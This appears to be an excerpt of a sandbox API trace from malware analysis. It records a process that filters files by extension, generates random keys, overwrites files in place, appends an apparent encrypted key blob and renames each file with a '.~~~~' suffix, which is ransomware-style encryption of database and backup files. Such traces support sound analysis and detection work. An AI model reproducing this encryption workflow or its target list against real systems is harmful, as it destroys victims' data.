	[0081.856] lstrlenW (lpString=".bdb") returned 4
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".bdb") returned 0x0
	[0081.856] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.857] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.858] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.858] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.858] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20184856652) returned 1
	[0081.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9aa3eb90, dwHighDateTime=0x1d60e1e)) 
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe6a8
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe6a8 | out: hHeap=0x300000) returned 1
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a2e0
	[0081.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a2e0 | out: hHeap=0x300000) returned 1
	[0081.859] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.859] GetLastError () returned 0x0
	[0081.860] GetLastError () returned 0x0
	[0081.860] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.860] GetLastError () returned 0x0
	[0081.860] GetLastError () returned 0x0
	[0081.860] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x2d7e, lpOverlapped=0x0) returned 1
	[0081.862] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd282, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.862] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x2d7e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x2d7e, lpOverlapped=0x0) returned 1
	[0081.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.863] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.863] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.863] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.863] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.863] CloseHandle (hObject=0x134) returned 1
	[0081.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x110) returned 0x3cd6f0
	[0081.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.~~~~")) returned 1
	[0081.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd6f0 | out: hHeap=0x300000) returned 1
	[0081.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0081.864] GetLastError () returned 0x0
	[0081.864] RtlWakeConditionVariable () returned 0x365f70
	[0081.865] GetCurrentThreadId () returned 0x9f4
	[0081.865] GetCurrentThreadId () returned 0x9f4
	[0081.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0081.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f03c8 | out: hHeap=0x300000) returned 1
	[0081.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe6e0 | out: hHeap=0x300000) returned 1
	[0081.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f03c8
	[0081.865] lstrlenW (lpString=".scr") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".scr") returned 0x0
	[0081.865] lstrlenW (lpString=".cmd") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".cmd") returned 0x0
	[0081.865] lstrlenW (lpString=".dll") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dll") returned 0x0
	[0081.865] lstrlenW (lpString=".bat") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".bat") returned 0x0
	[0081.865] lstrlenW (lpString=".cpl") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".cpl") returned 0x0
	[0081.865] lstrlenW (lpString=".sys") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".sys") returned 0x0
	[0081.865] lstrlenW (lpString=".msc") returned 4
	[0081.865] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".msc") returned 0x0
	[0081.865] lstrlenW (lpString=".com") returned 4
	[0081.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".com") returned 0x0
	[0081.866] lstrlenW (lpString=".lnk") returned 4
	[0081.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".lnk") returned 0x0
	[0081.866] lstrlenW (lpString=".msp") returned 4
	[0081.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".msp") returned 0x0
	[0081.866] lstrlenW (lpString=".pif") returned 4
	[0081.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".pif") returned 0x0
	[0081.866] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.866] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.867] lstrlenW (lpString=".sqb") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".sqb") returned 0x0
	[0081.867] lstrlenW (lpString=".ost") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".ost") returned 0x0
	[0081.867] lstrlenW (lpString=".txt") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".txt") returned 0x0
	[0081.867] lstrlenW (lpString=".mdt") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".mdt") returned 0x0
	[0081.867] lstrlenW (lpString=".BDB") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".BDB") returned 0x0
	[0081.867] lstrlenW (lpString=".eql") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".eql") returned 0x0
	[0081.867] lstrlenW (lpString=".DBF") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DBF") returned 0x0
	[0081.867] lstrlenW (lpString=".EQL") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".EQL") returned 0x0
	[0081.867] lstrlenW (lpString=".FDB") returned 4
	[0081.867] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".FDB") returned 0x0
	[0081.867] lstrlenW (lpString=".EDB") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".EDB") returned 0x0
	[0081.868] lstrlenW (lpString=".DACPAC") returned 7
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.868] lstrlenW (lpString=".VHD") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".VHD") returned 0x0
	[0081.868] lstrlenW (lpString=".DBV") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DBV") returned 0x0
	[0081.868] lstrlenW (lpString=".dacpac") returned 7
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dacpac") returned 0x0
	[0081.868] lstrlenW (lpString=".sdf") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".sdf") returned 0x0
	[0081.868] lstrlenW (lpString=".accdb") returned 6
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".accdb") returned 0x0
	[0081.868] lstrlenW (lpString=".DBX") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DBX") returned 0x0
	[0081.868] lstrlenW (lpString=".MDT") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".MDT") returned 0x0
	[0081.868] lstrlenW (lpString=".SQB") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".SQB") returned 0x0
	[0081.868] lstrlenW (lpString=".vhd") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".vhd") returned 0x0
	[0081.868] lstrlenW (lpString=".bac") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".bac") returned 0x0
	[0081.868] lstrlenW (lpString=".mdf") returned 4
	[0081.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".mdf") returned 0x0
	[0081.868] lstrlenW (lpString=".BAK") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".BAK") returned 0x0
	[0081.869] lstrlenW (lpString=".BAC") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".BAC") returned 0x0
	[0081.869] lstrlenW (lpString=".dbs") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dbs") returned 0x0
	[0081.869] lstrlenW (lpString=".vhdx") returned 5
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".vhdx") returned 0x0
	[0081.869] lstrlenW (lpString=".NDF") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".NDF") returned 0x0
	[0081.869] lstrlenW (lpString=".dat") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dat") returned 0x0
	[0081.869] lstrlenW (lpString=".DBS") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DBS") returned 0x0
	[0081.869] lstrlenW (lpString=".CKP") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".CKP") returned 0x0
	[0081.869] lstrlenW (lpString=".edb") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".edb") returned 0x0
	[0081.869] lstrlenW (lpString=".PST") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".PST") returned 0x0
	[0081.869] lstrlenW (lpString=".dbf") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dbf") returned 0x0
	[0081.869] lstrlenW (lpString=".SQL") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".SQL") returned 0x0
	[0081.869] lstrlenW (lpString=".pst") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".pst") returned 0x0
	[0081.869] lstrlenW (lpString=".dbv") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dbv") returned 0x0
	[0081.869] lstrlenW (lpString=".SDF") returned 4
	[0081.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".SDF") returned 0x0
	[0081.869] lstrlenW (lpString=".dtxs") returned 5
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dtxs") returned 0x0
	[0081.870] lstrlenW (lpString=".db3") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".db3") returned 0x0
	[0081.870] lstrlenW (lpString=".OST") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".OST") returned 0x0
	[0081.870] lstrlenW (lpString=".dbx") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dbx") returned 0x0
	[0081.870] lstrlenW (lpString=".DB3") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DB3") returned 0x0
	[0081.870] lstrlenW (lpString=".DAT") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DAT") returned 0x0
	[0081.870] lstrlenW (lpString=".VHDX") returned 5
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".VHDX") returned 0x0
	[0081.870] lstrlenW (lpString=".ndf") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".ndf") returned 0x0
	[0081.870] lstrlenW (lpString=".DB") returned 3
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DB") returned 0x0
	[0081.870] lstrlenW (lpString=".sql") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".sql") returned 0x0
	[0081.870] lstrlenW (lpString=".MYD") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".MYD") returned 0x0
	[0081.870] lstrlenW (lpString=".DBT") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DBT") returned 0x0
	[0081.870] lstrlenW (lpString=".ACCDB") returned 6
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.870] lstrlenW (lpString=".fdb") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".fdb") returned 0x0
	[0081.870] lstrlenW (lpString=".bak") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".bak") returned 0x0
	[0081.870] lstrlenW (lpString=".myd") returned 4
	[0081.870] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".myd") returned 0x0
	[0081.870] lstrlenW (lpString=".DTXS") returned 5
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".DTXS") returned 0x0
	[0081.871] lstrlenW (lpString=".ckp") returned 4
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".ckp") returned 0x0
	[0081.871] lstrlenW (lpString=".dbt") returned 4
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".dbt") returned 0x0
	[0081.871] lstrlenW (lpString=".db") returned 3
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".db") returned 0x0
	[0081.871] lstrlenW (lpString=".TXT") returned 4
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".TXT") returned 0x0
	[0081.871] lstrlenW (lpString=".MDF") returned 4
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".MDF") returned 0x0
	[0081.871] lstrlenW (lpString=".bdb") returned 4
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".bdb") returned 0x0
	[0081.871] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.871] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0081.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.871] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0081.872] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.872] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.873] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20186279381) returned 1
	[0081.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9aa64cf0, dwHighDateTime=0x1d60e1e)) 
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe6e0
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
